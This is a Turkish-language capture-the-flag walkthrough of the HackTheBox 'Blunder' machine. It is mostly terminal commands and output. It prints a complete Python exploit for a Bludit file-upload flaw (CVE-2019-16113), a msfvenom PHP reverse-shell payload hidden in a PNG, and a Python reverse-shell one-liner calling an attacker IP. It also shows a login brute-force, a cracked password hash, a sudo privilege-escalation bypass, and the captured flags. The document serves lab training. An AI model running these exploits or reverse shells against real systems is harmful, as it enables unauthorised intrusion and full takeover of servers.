| Makine Adı | Seviye | OS | Logo |
|---|---|---|---|
| Blunder - HTB | Kolay | Linux |  |
Walkthrough
nmap taraması:
┌──(root💀kali)-[/home/…/Linux/Blunder/10.10.10.191/nmap]
└─# cat Full_10.10.10.191.nmap
# Nmap 7.91 scan initiated Tue Sep 7 11:57:25 2021 as: /usr/bin/nmap -p- --max-retries 1 --max-rate 500 --max-scan-delay 20 -T4 -v --open -oN nmap/Full_10.10.10.191.nmap --system-dns --stats-every 3s 10.10.10.191
Nmap scan report for 10.10.10.191
Host is up (0.13s latency).
Not shown: 65533 filtered ports, 1 closed port
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
Read data files from: /usr/bin/../share/nmap
# Nmap done at Tue Sep 7 12:02:13 2021 -- 1 IP address (1 host up) scanned in 288.45 seconds
İncelemeler yapmaya başladım ve gobuster attım.
┌──(root💀kali)-[/home/…/Desktop/HTB/Linux/Blunder]
└─# gobuster dir --url http://10.10.10.191/ --add-slash --expanded --follow-redirect --no-error --wordlist /usr/share/wordlists/dirb/big.txt -t 50 --extensions php,html,txt | tee gobuster1
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.191/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: html,txt,php
[+] Add Slash: true
[+] Follow Redirect: true
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/09/07 11:58:52 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.10.191/.htaccess/ (Status: 403) [Size: 277]
http://10.10.10.191/.htaccess.html (Status: 403) [Size: 277]
http://10.10.10.191/.htaccess.txt (Status: 403) [Size: 277]
http://10.10.10.191/.htpasswd/ (Status: 403) [Size: 277]
http://10.10.10.191/.htpasswd.html (Status: 403) [Size: 277]
http://10.10.10.191/.htpasswd.txt (Status: 403) [Size: 277]
http://10.10.10.191/.htpasswd.php (Status: 403) [Size: 277]
http://10.10.10.191/.htaccess.php (Status: 403) [Size: 277]
http://10.10.10.191/0/ (Status: 200) [Size: 7562]
http://10.10.10.191/about/ (Status: 200) [Size: 3281]
http://10.10.10.191/admin/ (Status: 200) [Size: 2385]
http://10.10.10.191/icons/ (Status: 403) [Size: 277]
http://10.10.10.191/install.php (Status: 200) [Size: 30]
http://10.10.10.191/robots.txt/ (Status: 200) [Size: 22]
http://10.10.10.191/robots.txt (Status: 200) [Size: 22]
http://10.10.10.191/server-status/ (Status: 403) [Size: 277]
http://10.10.10.191/todo.txt (Status: 200) [Size: 118]
http://10.10.10.191/usb/ (Status: 200) [Size: 3960]
===============================================================
2021/09/07 12:09:23 Finished
===============================================================todo.txt içerisinde yzazanlar:
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING
Buradan fergus isimli bir kullanıcı aldım sonrasında admin klasörüne gittim. BLUDIT isimli bir proje var ve yayınlanmış exploitleride var. Ancak uygulamaya giriş yapmamaız gerekiyor. Bunun üzerine kaba kuvvet saldırısı yapmayı denedim. Her istekte yeni bir token var bu yüzden direkt olarak saldırı yapmak imkansız her seferinde token'ınıda almak gerekiyor. Biri bunu yazmı. Bu yüzden kolları sıamama gerek kalmadı. Farklı wordlistleri denedikten sonra internet sayfasındaki kelimeleri denedim ve Bingo!.
┌──(root💀kali)-[/home/…/HTB/Linux/Blunder/exploit]
└─# searchsploit BLUDIT
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass | php/webapps/48746.rb
Bludit - Directory Traversal Image File Upload (Metasploit) | php/remote/47699.rb
Bludit 3.9.12 - Directory Traversal | php/webapps/48568.py
Bludit 3.9.2 - Auth Bruteforce Bypass | php/webapps/48942.py
Bludit 3.9.2 - Authentication Bruteforce Bypass (Metasploit) | php/webapps/49037.rb
Bludit 3.9.2 - Directory Traversal | multiple/webapps/48701.txt
bludit Pages Editor 3.0.0 - Arbitrary File Upload | php/webapps/46060.txt
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(root💀kali)-[/home/…/HTB/Linux/Blunder/exploit]
└─# searchsploit -m php/webapps/48942.py
┌──(root💀kali)-[/home/…/HTB/Linux/Blunder/exploit]
└─# cewl -w wordlist2 http://10.10.10.191 -d 3
CeWL 5.4.8 (Inclusion) Robin Wood ([email protected]) (https://digi.ninja/)
┌──(root💀kali)-[/home/…/HTB/Linux/Blunder/exploit]
└─# python3 48942.py -l http://10.10.10.191/admin/ -u user -p wordlist2 1 ⨯
[*] Bludit Auth BF Mitigation Bypass Script by ColdFusionX
[d] Brute Force: Testing -> fergus:the
[<] Brute Force: Testing -> fergus:Load
[|] Brute Force: Testing -> fergus:Plugins
[◐] Brute Force: Testing -> fergus:and
[q] Brute Force: Testing -> fergus:for
[▖] Brute Force: Testing -> fergus:Include
[...../..] Brute Force: Testing -> fergus:Site
[▇] Brute Force: Testing -> fergus:Page
[\] Brute Force: Testing -> fergus:has
[┐] Brute Force: Testing -> fergus:About
[...../..] Brute Force: Testing -> fergus:King
[↙] Brute Force: Testing -> fergus:with
[▇] Brute Force: Testing -> fergus:USB
[◒] Brute Force: Testing -> fergus:Begin
[....../.] Brute Force: Testing -> fergus:more
[q] Brute Force: Testing -> fergus:End
[q] Brute Force: Testing -> fergus:service
[▇] Brute Force: Testing -> fergus:from
[\] Brute Force: Testing -> fergus:Stadia
[◥] Brute Force: Testing -> fergus:Dynamic
[O] Brute Force: Testing -> fergus:tag
[◥] Brute Force: Testing -> fergus:blunder
[\] Brute Force: Testing -> fergus:interesting
[◒] Brute Force: Testing -> fergus:facts
[↙] Brute Force: Testing -> fergus:CSS
[-] Brute Force: Testing -> fergus:this
[▝] Brute Force: Testing -> fergus:Body
[..../...] Brute Force: Testing -> fergus:devices
[▝] Brute Force: Testing -> fergus:been
[v] Brute Force: Testing -> fergus:Google
[▝] Brute Force: Testing -> fergus:games
[↓] Brute Force: Testing -> fergus:Post
[┬] Brute Force: Testing -> fergus:Cover
[◥] Brute Force: Testing -> fergus:image
[▝] Brute Force: Testing -> fergus:Title
[-] Brute Force: Testing -> fergus:content
[▝] Brute Force: Testing -> fergus:created
[◥] Brute Force: Testing -> fergus:pages
[┬] Brute Force: Testing -> fergus:Creation
[◥] Brute Force: Testing -> fergus:date
[v] Brute Force: Testing -> fergus:November
[ ] Brute Force: Testing -> fergus:Reading
[┬] Brute Force: Testing -> fergus:time
[█] Brute Force: Testing -> fergus:minute
[◤] Brute Force: Testing -> fergus:books
[/] Brute Force: Testing -> fergus:have
[ ] Brute Force: Testing -> fergus:Awards
[.../....] Brute Force: Testing -> fergus:Fantasy
[/] Brute Force: Testing -> fergus:National
[┌] Brute Force: Testing -> fergus:The
[↘] Brute Force: Testing -> fergus:his
[┌] Brute Force: Testing -> fergus:was
[↘] Brute Force: Testing -> fergus:players
[▘] Brute Force: Testing -> fergus:allows
[↘] Brute Force: Testing -> fergus:stream
[.../....] Brute Force: Testing -> fergus:site
[v] Brute Force: Testing -> fergus:title
[b] Brute Force: Testing -> fergus:description
[┬] Brute Force: Testing -> fergus:Favicon
[-] Brute Force: Testing -> fergus:Bootstrap
[°] Brute Force: Testing -> fergus:file
[v] Brute Force: Testing -> fergus:bootstrap
[ ] Brute Force: Testing -> fergus:css
[◥] Brute Force: Testing -> fergus:Styles
[v] Brute Force: Testing -> fergus:theme
[↓] Brute Force: Testing -> fergus:head
[↓] Brute Force: Testing -> fergus:Robots
[O] Brute Force: Testing -> fergus:plugin
[v] Brute Force: Testing -> fergus:Navbar
[ ] Brute Force: Testing -> fergus:Static
[↙] Brute Force: Testing -> fergus:Social
[O] Brute Force: Testing -> fergus:Networks
[┬] Brute Force: Testing -> fergus:Content
[b] Brute Force: Testing -> fergus:Blog
[▝] Brute Force: Testing -> fergus:Posts
[◥] Brute Force: Testing -> fergus:Stephen
[ ] Brute Force: Testing -> fergus:such
[▝] Brute Force: Testing -> fergus:Right
[...../..] Brute Force: Testing -> fergus:Sidebar
[▗] Brute Force: Testing -> fergus:dump
[°] Brute Force: Testing -> fergus:fact
[▇] Brute Force: Testing -> fergus:files
[°] Brute Force: Testing -> fergus:nothing
[-] Brute Force: Testing -> fergus:Footer
[▝] Brute Force: Testing -> fergus:Copyright
[b] Brute Force: Testing -> fergus:Powered
[◥] Brute Force: Testing -> fergus:byEgotisticalSW
[v] Brute Force: Testing -> fergus:Javascript
[-] Brute Force: Testing -> fergus:American
[-] Brute Force: Testing -> fergus:fiction
[ ] Brute Force: Testing -> fergus:novels
[↓] Brute Force: Testing -> fergus:than
[p] Brute Force: Testing -> fergus:which
[b] Brute Force: Testing -> fergus:feature
[°] Brute Force: Testing -> fergus:series
[-] Brute Force: Testing -> fergus:published
[█] Brute Force: Testing -> fergus:received
[┬] Brute Force: Testing -> fergus:World
[b] Brute Force: Testing -> fergus:awarded
[-] Brute Force: Testing -> fergus:Medal
[°] Brute Force: Testing -> fergus:also
[█] Brute Force: Testing -> fergus:literature
[°] Brute Force: Testing -> fergus:Award
[°] Brute Force: Testing -> fergus:Arts
[ ] Brute Force: Testing -> fergus:high
[┬] Brute Force: Testing -> fergus:range
[v] Brute Force: Testing -> fergus:via
[◒] Brute Force: Testing -> fergus:data
[┐] Brute Force: Testing -> fergus:centers
[\] Brute Force: Testing -> fergus:through
[▗] Brute Force: Testing -> fergus:smartphones
[ ] Brute Force: Testing -> fergus:tablets
[-] Brute Force: Testing -> fergus:state
[▗] Brute Force: Testing -> fergus:This
[▇] Brute Force: Testing -> fergus:used
[┐] Brute Force: Testing -> fergus:that
[▗] Brute Force: Testing -> fergus:users
[↙] Brute Force: Testing -> fergus:library
[◥] Brute Force: Testing -> fergus:free
[.] Brute Force: Testing -> fergus:their
[|] Brute Force: Testing -> fergus:other
[◢] Brute Force: Testing -> fergus:Full
[▖] Brute Force: Testing -> fergus:Breaked
[....../.] Brute Force: Testing -> fergus:name
[<] Brute Force: Testing -> fergus:most
[<] Brute Force: Testing -> fergus:Read
[v] Brute Force: Testing -> fergus:button
[↙] Brute Force: Testing -> fergus:are
[...../..] Brute Force: Testing -> fergus:Edwin
[◥] Brute Force: Testing -> fergus:born
[...../..] Brute Force: Testing -> fergus:September
[...../..] Brute Force: Testing -> fergus:author
[...../..] Brute Force: Testing -> fergus:horror
[\] Brute Force: Testing -> fergus:supernatural
[┐] Brute Force: Testing -> fergus:suspense
[ ] Brute Force: Testing -> fergus:fantasy
[d] Brute Force: Testing -> fergus:His
[◒] Brute Force: Testing -> fergus:sold
[◥] Brute Force: Testing -> fergus:million
[◥] Brute Force: Testing -> fergus:copies
[°] Brute Force: Testing -> fergus:many
[┬] Brute Force: Testing -> fergus:adapted
[ ] Brute Force: Testing -> fergus:into
[▝] Brute Force: Testing -> fergus:films
[◓] Brute Force: Testing -> fergus:miniseries
[▘] Brute Force: Testing -> fergus:television
[▄] Brute Force: Testing -> fergus:comic
[\] Brute Force: Testing -> fergus:including
[←] Brute Force: Testing -> fergus:seven
[↘] Brute Force: Testing -> fergus:under
[◣] Brute Force: Testing -> fergus:pen
[▝] Brute Force: Testing -> fergus:Richard
[↑] Brute Force: Testing -> fergus:Bachman
[ ] Brute Force: Testing -> fergus:six
[→] Brute Force: Testing -> fergus:non
[┘] Brute Force: Testing -> fergus:written
[▝] Brute Force: Testing -> fergus:approximately
[0] Brute Force: Testing -> fergus:short
[d] Brute Force: Testing -> fergus:stories
[▖] Brute Force: Testing -> fergus:book
[▘] Brute Force: Testing -> fergus:collections
[b] Brute Force: Testing -> fergus:Bram
[O] Brute Force: Testing -> fergus:Stoker
[←] Brute Force: Testing -> fergus:British
[◐] Brute Force: Testing -> fergus:Society
[...../..] Brute Force: Testing -> fergus:Book
[°] Brute Force: Testing -> fergus:Foundation
[\] Brute Force: Testing -> fergus:him
[.....\..] Brute Force: Testing -> fergus:Distinguished
[▖] Brute Force: Testing -> fergus:Contribution
[/] Brute Force: Testing -> fergus:Letters
[O] Brute Force: Testing -> fergus:probably
[◒] Brute Force: Testing -> fergus:best
[┤] Brute Force: Testing -> fergus:fictional
[...../..] Brute Force: Testing -> fergus:character
[▘] Brute Force: Testing -> fergus:RolandDeschain
[*] SUCCESS !!
[+] Use Credential -> fergus:RolandDeschainArtık authonticate exploitleride kullanabilirim.
┌──(root💀kali)-[/home/…/HTB/Linux/Blunder/exploit]
└─# searchsploit -m multiple/webapps/48701.txt 130 ⨯
Exploit: Bludit 3.9.2 - Directory Traversal
URL: https://www.exploit-db.com/exploits/48701
Path: /usr/share/exploitdb/exploits/multiple/webapps/48701.txt
File Type: Python script, ASCII text executable, with CRLF line terminators
Copied to: /home/kali/Desktop/HTB/Linux/Blunder/exploit/48701.txtBu exploitin içini değiştirmemiz gerekecek normal hali aşağıdaki gibi ama ben ip ve credential'leri değiştirdim. Aynı zamanda yorum satırlarındaki komutlarıda yapmak gerekiyor.
┌──(root💀kali)-[/home/…/HTB/Linux/Blunder/exploit]┌──(root💀kali)-[/home/…/HTB/Linux/Blunder/exploit]
└─# more 48701.txt
# Title: Bludit 3.9.2 - Directory Traversal
# Author: James Green
# Date: 2020-07-20
# Vendor Homepage: https://www.bludit.com
# Software Link: https://github.com/bludit/bludit
# Version: 3.9.2
# Tested on: Linux Ubuntu 19.10 Eoan
# CVE: CVE-2019-16113
#
# Special Thanks to Ali Faraj (@InfoSecAli) and authors of MSF Module https://www.exploit-db.com/exploits/47699
#### USAGE ####
# 1. Create payloads: .png with PHP payload and the .htaccess to treat .pngs like PHP
# 2. Change hardcoded values: URL is your target webapp, username and password is admin creds to get to the admin dir
# 3. Run the exploit
# 4. Start a listener to match your payload: `nc -nlvp 53`, meterpreter multi handler, etc
# 5. Visit your target web app and open the evil picture: visit url + /bl-content/tmp/temp/evil.png
#!/usr/bin/env python3
import requests
import re
import argparse
import random
import string
import base64
from requests.exceptions import Timeout
url = 'http://127.0.0.1' # CHANGE ME
username = 'James' # CHANGE ME
password = 'Summer2020' # CHANGE ME
# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png
# echo -e "<?php $(cat evil.png)" > evil.png
payload = 'evil.png' # CREATE ME
# echo "RewriteEngine off" > .htaccess
# echo "AddType application/x-httpd-php .png" >> .htaccess
payload2 = '.htaccess' # CREATE ME
def login(url,username,password):
""" Log in with provided admin creds, grab the cookie once authenticated """
session = requests.Session()
login_page = session.get(url + "/admin/")
csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"',
login_page.text
).group(1)
cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1])
data = {"save":"",
"password":password,
"tokenCSRF":csrf_token,
"username":username}
headers = {"Origin":url,
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Upgrade-Insecure-Requests":"1",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
"Connection":"close",
"Referer": url + "/admin/",
"Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding":"gzip, deflate",
"Content-Type":"application/x-www-form-urlencoded"
}
cookies = {"BLUDIT-KEY":cookie}
response = session.post(url + "/admin/",
data=data,
headers=headers,
cookies=cookies,
allow_redirects = False
)
print("cookie: " + cookie)
return cookie
def get_csrf_token(url,cookie):
""" Grab the CSRF token from an authed session """
session = requests.Session()
headers = {"Origin":url,
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Upgrade-Insecure-Requests":"1",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
"Connection":"close",
"Referer":url + "/admin/",
"Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding":"gzip, deflate"}
cookies = {"BLUDIT-KEY":cookie}
response = session.get(url + "/admin/dashboard",
headers=headers,
cookies=cookies
)
csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0]
print("csrf_token: " + csrf_token)
return csrf_token
def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False):
""" Upload files required for to execute PHP from malicious image files. Payload and .htaccess """
session = requests.Session()
files= {"images[]": (payload,
open(payload, "rb"),
"multipart/form-data",
{"Content-Type": "image/png", "filename":payload}
)}
if override_uuid:
data = {"uuid": "../../tmp/temp",
"tokenCSRF":csrf_token}
else:
# On the vuln app, this line occurs first:
# Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
# Even though there is a file extension check, it won't really stop us
# from uploading the .htaccess file.
data = {"tokenCSRF":csrf_token}
headers = {"Origin":url,
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
"Connection":"close",
"Referer":url + "/admin/new-content",
"Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding":"gzip, deflate",
}
cookies = {"BLUDIT-KEY":cookie}
response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies)
print("Uploading payload: " + payload)
if __name__ == "__main__":
cookie = login(url, username, password)
token = get_csrf_token(url, cookie)
upload_evil_image(url, cookie, token, payload, True)
upload_evil_image(url, cookie, token, payload2)
┌──(root💀kali)-[/home/…/HTB/Linux/Blunder/exploit]
└─# msfvenom -p php/reverse_php LHOST=10.10.14.18 LPORT=53 -f raw -b '"' > evil.png
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 2 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 4061 (iteration=0)
php/base64 chosen with final size 4061
Payload size: 4061 bytes
┌──(root💀kali)-[/home/…/HTB/Linux/Blunder/exploit]
└─# echo -e "<?php $(cat evil.png)" > evil.png
┌──(root💀kali)-[/home/…/HTB/Linux/Blunder/exploit]
└─# mv 48701.txt 48701.py
┌──(root💀kali)-[/home/…/HTB/Linux/Blunder/exploit]
└─# nano 48701.py
┌──(root💀kali)-[/home/…/HTB/Linux/Blunder/exploit]
└─# echo "RewriteEngine off" > .htaccess
┌──(root💀kali)-[/home/…/HTB/Linux/Blunder/exploit]
└─# echo "AddType application/x-httpd-php .png" >> .htaccess
┌──(root💀kali)-[/home/…/HTB/Linux/Blunder/exploit]
└─# python3 48701.py
cookie: 32bpcas1t5vin0a12fcdg0n573
csrf_token: cc732dcec5337c18b9645752f0c0c108ee1a9042Evet artık http://10.10.10.191/bl-content/tmp/temp/evil.png adresine gidelim ve reverse alalım.
┌──(root💀kali)-[/home/…/HTB/Linux/Blunder/exploit]
└─# nc -lvp 53
listening on [any] 53 ...
id
10.10.10.191: inverse host lookup failed: Unknown host
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.191] 48354
uid=33(www-data) gid=33(www-data) groups=33(www-data)
İçeride gezinirken yeni bir hash buldum ve kolayca kırdım. İlk notu hatırlamak gerekiyor...
pwd
/var/www/bludit-3.10.0a/bl-content/databases
cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Hugo",
"firstName": "Hugo",
"lastName": "",
"role": "User",
"password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
"email": "",
"registered": "2019-11-27 07:40:55",
"tokenRemember": "",
"tokenAuth": "b380cb62057e9da47afce66b4615107d",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"instagram": "",
"codepen": "",
"linkedin": "",
"github": "",
"gitlab": ""}
}
faca404fd5c0a31cf1897b823c695c85cffeb98d:Password120
https://sha1.gromweb.com/?hash=faca404fd5c0a31cf1897b823c695c85cffeb98dShellim kötüydü bunun üzerine bende daha iyi bir shell'e geçiş yaptım.
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.18",1822));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
┌──(root💀kali)-[/home/…/Desktop/HTB/Linux/Blunder]
└─# nc -lvp 1822 1 ⨯
listening on [any] 1822 ...
id
10.10.10.191: inverse host lookup failed: Unknown host
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.191] 48940
$ id
$ su hugo
su hugo
Password: Password120
hugo@blunder:/var/www/bludit-3.9.2/bl-content/tmp/temp$ sudo -l
sudo -l
Password: Password120
Matching Defaults entries for hugo on blunder:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bash
hugo@blunder:/var/www/bludit-3.9.2/bl-content/tmp/temp$ sudo -u#-1 /bin/bash
sudo -u#-1 /bin/bash
root@blunder:/var/www/bludit-3.9.2/bl-content/tmp/temp# id
id
uid=0(root) gid=1001(hugo) groups=1001(hugo)
root@blunder:/var/www/bludit-3.9.2/bl-content/tmp/temp# cd /root
cd /root
root@blunder:/root# ls
ls
root.txt snap
root@blunder:/root# cat root.txt
cat root.txt
3cfb78779a7cb88909ae1d3d403b51ff
root@blunder:/root# cd /home/hugo
cd /home/hugo
root@blunder:/home/hugo# cat user.txt
cat user.txt
3671aaf7126c023513974237bca33c1c
İlk Yorumu Siz Yapın